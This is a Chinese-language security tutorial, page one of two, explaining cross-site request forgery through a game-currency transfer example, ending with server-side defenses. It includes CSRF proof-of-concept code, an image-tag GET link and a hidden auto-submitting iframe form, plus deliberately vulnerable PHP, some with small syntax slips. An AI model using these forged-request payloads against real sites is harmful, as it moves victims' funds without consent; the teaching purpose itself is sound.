欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

CSRF攻击与防御

来源:本站整理 作者:佚名 时间:2017-05-02 TAG: 我要投稿

1、简介

CSRF的全名为Cross-site request forgery,它的中文名为 跨站请求伪造(伪造跨站请求【这样读顺口一点】)

CSRF是一种夹持用户在已经登陆的web应用程序上执行非本意的操作的攻击方式。相比于XSS,CSRF是利用了系统对页面浏览器的信任,XSS则利用了系统对用户的信任。

2、CSRF攻击原理

下面为CSRF攻击原理图:

由上图分析我们可以知道构成CSRF攻击是有条件的:

1、客户端必须一个网站并生成cookie凭证存储在浏览器中

2、该cookie没有清除,客户端又tab一个页面进行访问别的网站

3、CSRF例子与分析

我们就以游戏虚拟币转账为例子进行分析

3.1、简单级别CSRF攻击

假设某游戏网站的虚拟币转账是采用GET方式进行操作的,样式如:

1 http://www.game.com/Transfer.php?toUserId=11&vMoney=1000

此时 恶意攻击者 的网站也构建一个相似的链接:

1、可以是采用图片隐藏,页面一打开就自动进行访问第三方文章:<img src='攻击链接'>

2、也可以采用js进行相应的操作

http://www.game.com/Transfer.php?toUserId=20&vMoney=1000         #toUserID为攻击的账号ID

1、假若客户端已经验证并登陆www.game.com网站,此时客户端浏览器保存了游戏网站的验证cookie

2、客户端再tab另一个页面进行访问恶意攻击者的网站,并从恶意攻击者的网站构造的链接来访问游戏网站

3、浏览器将会携带该游戏网站的cookie进行访问,刷一下就没了1000游戏虚拟币

3.2、中级别CSRF攻击

游戏网站负责人认识到了有被攻击的漏洞,将进行升级改进。

将由链接GET提交数据改成了表单提交数据

//提交数据表单
<form action="./Transfer.php" method="POST">
    <p>toUserId: <input type="text" name="toUserId" /</p>
    <p>vMoney: <input type="text" name="vMoney" /></p>
    <p><input type="submit" value="Transfer" /></p>
</form>

Transfer.php

1 <?php
2      session_start();
3      if (isset($_REQUEST['toUserId'] && isset($_REQUEST['vMoney']))  #验证
4      {
5           //相应的转账操作
6      }
7  ?>

恶意攻击者将会观察网站的表单形式,并进行相应的测试。

首先恶意攻击者采用(http://www.game.com/Transfer.php?toUserId=20&vMoney=1000)进行测试,发现仍然可以转账。

那么此时游戏网站所做的更改没起到任何的防范作用,恶意攻击者只需要像上面那样进行攻击即可达到目的。

总结:

1、网站开发者的错误点在于没有使用$_POST进行接收数据。当$_REQUEST可以接收POST和GET发来的数据,因此漏洞就产生了。

3.3、高级别CSRF攻击

这一次,游戏网站开发者又再一次认识到了错误,将进行下一步的改进与升级,将采用POST来接收数据

Transfer.php

1 <?php
2      session_start();
3      if (isset($_POST['toUserId'] && isset($_POST['vMoney']))  #验证
4      {
5           //相应的转账操作
6      }
7  ?>

此时恶意攻击者就没有办法进行攻击了么?那是不可能的。

恶意攻击者根据游戏虚拟币转账表单进行伪造了一份一模一样的转账表单,并且嵌入到iframe中

嵌套页面:(用户访问恶意攻击者主机的页面,即tab的新页面)

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>攻击者主机页面</title>
    <script type="text/javascript">
    function csrf()
    {
        window.frames['steal'].document.forms[0].submit();
    }
    </script>
</head>
<body onload="csrf()">
<iframe name="steal" display="none" src="./xsrf.html">
</iframe>
</body>
</html>

表单页面:(xsrf.html)

<!DOCTYPE html>
<html>
<head>
    <title>csrf</title>
</head>
<body>
<form display="none" action="http://www.game.com/Transfer.php" method="post" >
    <input type="hidden" name="toUserID" value="20">
    <input type="hidden" name="vMoney" value="1000">
</form>
</body>
</html>

客户端访问恶意攻击者的页面一样会遭受攻击。

总结:

CSRF攻击是 源于Web的隐式身份验证机制 !Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的

4、CSRF防御方法

服务器端防御:

1、重要数据交互采用POST进行接收,当然是用POST也不是万能的,伪造一个form表单即可破解

2、使用验证码,只要是涉及到数据交互就先进行验证码验证,这个方法可以完全解决CSRF。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。

3、验证HTTP Referer字段,该字段记录了此次HTTP请求的来源地址,最常见的应用是图片防盗链。PHP中可以采用APache URL重写规则进行防御,可参考: http://www.cnblogs.com/phpstudy2015-6/p/6715892.html

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载